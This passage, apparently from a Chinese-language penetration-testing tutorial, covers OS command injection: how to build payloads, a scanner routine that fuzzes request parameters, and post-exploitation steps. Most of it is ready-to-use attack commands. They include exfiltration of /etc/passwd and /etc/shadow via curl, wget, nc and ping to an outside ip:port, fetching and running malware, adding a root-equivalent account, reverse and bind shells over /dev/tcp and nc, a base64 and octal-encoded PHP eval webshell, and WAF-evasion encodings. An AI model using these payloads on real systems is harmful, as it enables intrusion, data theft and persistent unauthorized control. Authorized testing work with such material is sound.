因为我不知道后台代码可能怎么处理,所以只能尝试所有可能性。接下来我们要做两件事,第一是准备命令注入的payload,第二是逐个遍历键值对,把所有payload添加到键值对的值中。(当然这里可能有很多优化空间,本文用最简单最暴力的方式就是两个for循环,一个是for键值对,一个是for payload,达成所有键值对所有payload的遍历)

命令注入payload准备

payload的准备考虑以下几点

接下来解释一下为什么这么考虑。

首先命令注入的检测要根据状态来判断是否存在注入点。状态可以分为带内回显,带外回显,及基于延时的盲注。所谓带内是指在http的response中回传,带外是指并非在http的response中回传,而是通过其他通道如DNSlog,wget其他http请求,反弹tcp请求等等。如果带内带外都没任何反应,可以考虑基于延时的注入比如sleep命令,比如ping -c命令。最后还有一种情况是在甲方测试,虽然可能你拿不到源代码,但是产品线可以提供给你ssh后台账户密码,允许你登录后台,这种情况下,即使上述上种情况都失效,可以尝试这种,比如在/bin下面自定义一个命令,如pentest命令,这是一个脚本,当执行脚本时,会在本地记录一些必要信息供后期跟踪定位。

接下来要考虑的是无论带内,带外,或者是延时等场景,怎么快速定位到对应的请求包以及对应的业务功能。

快速定位到请求包相对还是比较容易的,一种方法是把payload和请求做一些绑定,比如针对上述“请求样例1”的请求,生成一个唯一码uuid,然后在payload中利用uuid去请求,比如payload设置为wget 192.168.1.2/uuid, 这样带外收到这个请求之后,也能快速定位到是哪个请求触发了命令注入。

快速定位要业务功能是一个难题,因为可能存在一种场景是payload非常多,键值对也非常多,或者每个请求间隔需要较长时间,这会导致扫描遍历速度比业务功能操作速度慢。
监控发现异常,根据上面说的,可以快速定位到请求包,但是很难请求包对应的业务功能。
针对这种情况,我的想法是如果是基于时间的盲注,如果发现超时,可以把疑似存在漏洞的请求记录在日志中,再继续进行测试。因为基于时间的盲注有一定的误报率。先找到请求包,再去找功能点。
而针对带内回显和带外的请求,如果监控到异常,那就意味着大概率存在命令注入漏洞,这时候我的建议是暂停下来进行分析,而不是继续遍历测试。
这么做的考虑的第一点是一个系统不一定有很多的命令注入点,找到一个如果顺利能拿到高权限的shell,可以直接白盒审计。
第二点是如果payload足够精简,基本上请求和业务功能是同步的,如果在业务功能操作过程扫描器停止,就可以判断大体上是在哪个功能上存在命令注入漏洞。

下面要考虑的就是怎么让payload精简高效,优先考虑的是尽量避免带空格的payload,像reboot,id,whoami等命令就是很好的payload,另外要考虑的问题是注入的命令尽量保证系统中存在,比如带nc的payload可能很多时候就会失效,不是因为没有注入点,而是系统没有nc命令。

最后要说的是既然是黑盒测试,就不用考虑完美的payload和保证覆盖100%,payload理论上可以有无穷多个,每个payload都要考虑前缀,后缀,单引号,双引号,大中小括号等等复杂请求,比如某种情况下,要”))))才能闭合前面的命令进行注入,这种情况想要依靠payload来保证覆盖度是不太现实的。

拿上面的请求来说,body的第一个参数r=0.5378963,我们去测注入可能会尝试r=0.5378963`whoami`, r=0.5378963;cat$IFS/etc/passwd}, r=0.5378963;wget%20192.168.1.2/xxx 等等情况,最后没测出来。但未来有一天被人发现r=0.5378963”))));${cat%20/etc/passwd}可以注入成功。这种时候除了跟老板道歉承认技不如人,也没有其他办法了,orz!

上面谈了这么多对payload的想法,接下来在准备payload之前,还需要介绍一些Linux下的背景知识,以便后续更好的理解及准备payload。

Linux命令注入基础知识

linux命令行特殊符号:

更多Linux命令注入基础知识可查看参考材料[16],[17]。(本文对参考材料[17]的引用较多,如原作者有要求可联系笔者删除)

关于输入输出重定向的说明,可查看参考材料[19]了解更多。

Linux中比较常用的命令拼接符

命令注入代码拼接分析

前面用了大量的篇幅介绍了C/C++,Java, PHP, Python, Go以及Rust语言的命令执行错误实现。这些实现都有一个共性是把用户的输入拼接在命令中并调用函数执行命令。

命令拼接的原语句可能会比较复杂,比如涉及多个单双引号,各种形式的括号。以双引号来说,并不影响反引号的执行,而单引号会影响反引号的命令执行,所以最终在考虑payload时候,要考虑闭合单引号的情况。至于括号的情况就比较复杂,可以假设真的有漏洞也比较难被发现,暂时不去考虑这种情况。

我们以 encode(prefix + Chaining(injection cmd) + postfix) 的形式介绍payload的扩展。

prefix和postfix的作用是让Chaining(injection cmd)在逻辑上有效。

假设原语句是 os.system(“bash -c ‘ls -al “ + input + “’” > /dev/null”)
injection cmd = reboot
Chaining(injection cmd) = `reboot`
prefix = postfix = '
encode可有可无,encode可以是url编码,可以是base64编码等等
一个有效的payload为'`reboot`'。

我按照以下的逻辑来扩展payload:原始injection cmd –> ${IFS}替代空格 –> 前后加反引号(URL编码) –> 前后加单引号(URL编码)
这里前后加反引号,以及${IFS}替代空格属于Chaining过程,而URL编码属于encode过程。

cat /etc/passwd 原始注入命令
cat${IFS}/etc/passwd 替代空格
`injection${IFS}cmd` 添加命令拼接符号,经测试发现,反引号和$(), 比分号,管道等更好用一些。
%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60 URL编码
'`injection${IFS}cmd`' 添加单引号,闭合可能存在单引号的情况
%27%60%69%6e%6a%65%63%74%69%6f%6e%24%7b%49%46%53%7d%63%6d%64%60%27 URL编码

下面是梳理出的原始injection cmd,这些cmd都可以通过上述方式扩展成最终paylaod

injection cmd梳理

# 带内回显
cat /etc/passwd

# 带外请求
echo uuid>/dev/tcp/ip/port
wget `whoami`.xxx.dnslog.io
wget ip:port/uuid
curl -T /etc/passwd ip:port

# 基于延时的payload
reboot
sleep 30
ping -c 30 192.168.1.2

# 基于已有shell的payload
pwd>/tmp/cmdi_uuid

payload梳理

`reboot`
'`reboot`'
%60%72%65%62%6f%6f%74%60
%27%60%72%65%62%6f%6f%74%60%27
`sleep${IFS}30`
{sleep,30}
'`sleep${IFS}30`'
'{sleep,30}'
%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60
%27%60%73%6c%65%65%70%24%7b%49%46%53%7d%33%30%60%27
`echo${IFS}uuid>/dev/tcp/ip/port`
'`echo${IFS}uuid>/dev/tcp/ip/port`'
%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60
%27%60%65%63%68%6f%24%7b%49%46%53%7d%75%75%69%64%3e%2f%64%65%76%2f%74%63%70%2f%69%70%2f%70%6f%72%74%60%27

上面的这些payload中,reboot有效的前提是进程以root权限运行,sleep有效的前提是sleep命令使主进程阻塞,而非在后台执行。所有payload有效的前提是没有被特殊字符过滤,大家可以看到上述payload都是基于反引号,如果反引号被过滤,那么这些payload就都失效,但这并不意味着目标系统就没有注入点。

我在参考材料[18]看到一份命令注入模板,这个模块也可以提供一些生成payload的思路, 我截取一部分在下面展示。

{cmd}
;{cmd}
;{cmd};
^{cmd}
|{cmd}
<{cmd}
<{cmd};
<{cmd}\n
<{cmd}%0D
<{cmd}%0A
&{cmd}
&{cmd}&
&&{cmd}
&&{cmd}&&
%0D{cmd}
%0D{cmd}%0D
%0A{cmd}
%0A{cmd}%0A
\n{cmd}
\n{cmd}\n
'{cmd}'
`{cmd}`
;{cmd}|
;{cmd}/n
|{cmd};
a);{cmd}
a;{cmd}
a);{cmd}
a;{cmd};
a);{cmd}|

...

自动化工具完成键值对遍历

我写的被动式扫描工具 MossbackScanner 有实现该功能,虽然工具现在还比较简陋,但凑合着也还能用。下面是针对命令注入遍历的一段代码。

    def test_cmdi_uri(self, method, uri, version, header, body, host):
        params = uri.split('?')
        if len(params) == 2:
            path = params[0] + '?'
            params = params[1].split('&')

            for i in range(len(params)):
                param_bak = params[i]
                for payload in self.payloads:
                    time.sleep(
                        0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
                    params[i] = param_bak + payload.strip()
                    uri_new = '&'.join(params)

                    if self.send_recv(method, path + uri_new, version, header, body, host) is True:
                        break

                    params[i] = param_bak

    def test_cmdi_body(self, method, uri, version, header, body, host):
        bodys = body.split('&')
        for i in range(len(bodys)):
            body_bak = bodys[i]
            for payload in self.payloads:
                time.sleep(
                    0.001 * self.conf["interval"] + 0.001 * random.randint(1, 9))
                bodys[i] = body_bak + payload.strip()
                body_new = '&'.join(bodys)

                if self.send_recv(method, uri, version, header, body_new, host) is True:
                    break

                bodys[i] = body_bak

命令注入利用

前面我们利用payload和自动化工具跑出了命令注入点,接下来要看看这么利用注入点,利用的最大目标是希望能反弹shell,或者是拿到webshell,至于权限提升,不在本文讨论范围,我计划后续补一篇Linux提权的文章。

现在假设执行到这里,已经在命令注入测试过程,发现了注入点,我们需要进一步利用以达到渗透的目的。

命令注入可以做什么?

收集系统信息

如果是带内回显,那么执行ls,cat等命令可以收集系统信息。

如果是带外回传信息,小数据可以考虑DNSlog请求外带,也可以wget HTTP请求外带。

wget `whoami`.xxx.dnslog.io
wget ip:port/`whoami`

如果是大数据,可以考虑把结果重定向到本地,再通过文件传输方式下载目标文件。

也可以考虑通过ls,cat后进行base64编码,直接把base64的结果回传到目标tcp端口。

比如 echo `ls | base64` > /dev/tcp/ip/port,本地执行脚本监听回传的信息,脚本内容如下:

import socket
import base64

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.bind(('', 7777))
skt.listen()

while True:
    cli, _ = skt.accept()
    allmsg = ''
    skt.settimeout(5)
    while True:
        try:
            msg = cli.recv(1024).decode()
            if len(msg) > 0:
                allmsg += msg
            else:
                break
        except:
            break
    skt.settimeout(999999)
    try:
        print(base64.b64decode(allmsg).decode())
    except Exception as exp:
        print(exp)

基础信息收集

# 查看当前用户
whoami
id

# 查看系统账户
cat /etc/passwd
cat /etc/shadow

# 查看进程信息
ps -aux
ps -auxef
pstree

# 查看监听端口
netstat -tulnp

# 查看系统挂载信息
mount

# 查看系统及内核版本
cat /etc/issue
uname -a

查看系统支持的所有系统命令

echo $PATH | awk -F: '{for(i=1;i<=NF;i++){cmd="echo "$i";ls -al "$i;system(cmd)}}'

查看所有可写目录

ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";touch /"$i"/pentest_writable.tmp";system(cmd)}}'

# 删除测试touch出来的文件
ls / | awk '{for(i=1;i<=NF;i++){cmd="echo "$i";rm /"$i"/pentest_writable.tmp";system(cmd)}}'

新建系统帐户

useradd pter
echo "pter:admin123" | chpasswd
sed -i 's/^\(pter:[^:]\):[0-9]*:[0-9]*:/\1:0:0:/' /etc/passwd

下载系统文件

curl -T /etc/passwd dst_ip:dst_port

curl http://ip:port -F a=@/etc/passwd

nc -lvp port < /etc/passwd

wget --post-data="`cat /etc/passwd`" http://ip:port

wget --post-file=/etc/passwd http://ip:port

telnet ip port < /etc/passwd

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 ip; done

上传恶意程序/脚本

比如上传nc程序,挖矿病毒,勒索病毒,远程控制木马等

wget -O /可写目录 ip:port/malware
wget -P /可写目录 ip:port/malware

chmod 777 /可写目录/malware
/可写目录/malware &
sh -x /可写目录/malware

上传webshell

webshell可以在 https://github.com/tennc/webshell 找一个顺手的,比较有名的有webshell三兄弟ASPXSPY、PHPSPY、JSPSPY。

监听shell连接

nc -e /bin/sh -lnp 7777 &

反弹shell

反弹shell可以直接通过命令注入反弹,也可以通过上传反弹shell的脚本文件,再执行脚本完成反弹操作。

sh -i > /dev/tcp/ip/port 2>&1 0>&1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done
或者
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
nc -e /bin/sh ip port
或者
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

了解更多,可查看参考材料[20].

命令注入绕过

按理说在利用之前,命令注入测试过程,应该要考虑waf绕过,实际上如果确定目标系统存在waf,应该先手动去探测waf的过滤规则,这个也不在本文讨论范围。本文更多的是围绕测试覆盖度的角度。以waf为例,先确定waf绕过规则,再定制payload,再利用自动化工具去跑payload。

命令注入绕过可能会用到的通配符

比如

cat /e??/??sswd
cat /?t?/p[a-z]sswd
cat /??c/p{"as","ss"}swd

空格绕过

使用<或者<>

$ cat</flag
flag{xxx}

$ cat<>/flag
flag{xxx}

使用$IFS或者$9

$ cat$IFS$9/flag
flag{xxx}

$ cat${IFS}/flag
flag{xxx}

$ cat$IFS/flag
flag{xxx}

使用url编码绕过

Linux bash可以使用%20(space)、%09(tab)、%3c(<)以及+来绕过

花括号拓展{OS_COMMAND,ARGUMENT}绕过

在Linux bash中还可以使用{cat,/etc/passwd}来绕过 base64编码绕过

变量控制绕过

$ X=$'cat\x20/flag'&&$X
flag{xxx}

$ X=$'cat\x09/flag'&&$X
flag{xxx}

采用$@绕过

$ c$@at /fl$@ag
flag{xxx}

$ echo i$@d
id

$ echo i$@d|$0
uid=0(root) gid=0(root) groups=0(root)

绕过WAF绕过

变量控制绕过

$ a=l;b=s;$a$b
bin  boot  dev	etc  home  lib	lib64  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var

$ a=c;b=at;c=flag;$a$b $c
flag{xxx}

编码绕过

$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{xxx}

#base64_endcode("cat /flag") => Y2F0IC9mbGFn
#base64可能会出现/

$ echo "636174202f666c6167" | xxd -r -p|bash	#hex 十六进制编码
flag{xxx}

$ $(printf "\154\163")							#oct
bin  boot  dev	etc  flag  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

$ $(cat /flag)
bash: flag{xxx}: 未找到命令

$ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{xxx}

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号双引号绕过

$ c"a"t /f''l'a'g
flag{xxx}

反斜线绕过

$ c\a\t /f\l\ag
flag{xxx}

利用已经存在的资源绕过

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$ echo $PATH| cut -c 1
/

利用一些已有字符绕过

${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串

安全建议

参考材料

[1] https://www.cs.uleth.ca/~holzmann/C/system/shell_commands.html
[2] https://stackoverflow.com/questions/5769734/what-are-the-different-versions-of-exec-used-for-in-c-and-c
[3] https://www.anquanke.com/post/id/229611#h3-1
[4] http://blog.leanote.com/post/snowming/608bafbfc9eb
[5] https://stackoverflow.com/questions/89228/how-to-execute-a-program-or-call-a-system-command-from-python
[6] https://b1ngz.github.io/java-os-command-injection-note/
[7] https://www.php.net/docs.php
[8] https://www.kancloud.cn/a173512/php_note/1460404
[9] https://docs.python.org/3/library/
[10] https://gobyexample.com/
[11] https://doc.rust-lang.org/std/process/struct.Command.html
[12] https://kaisery.github.io/trpl-zh-cn/ch12-01-accepting-command-line-arguments.html
[13] https://v0w.top/2020/08/26/CodeAudit-php/#0x02-%E4%BB%8E%E4%BB%A3%E7%A0%81%E6%9C%AC%E8%BA%AB%E6%89%BE%E6%BC%8F%E6%B4%9E
[14] https://paper.seebug.org/763/
[15] https://www.aqniu.com/learn/46910.html
[16] https://linux.die.net/man/1/bash
[17] https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
[18] https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt
[19] https://xz.aliyun.com/t/2548
[20] https://xz.aliyun.com/t/2549

Table of Contents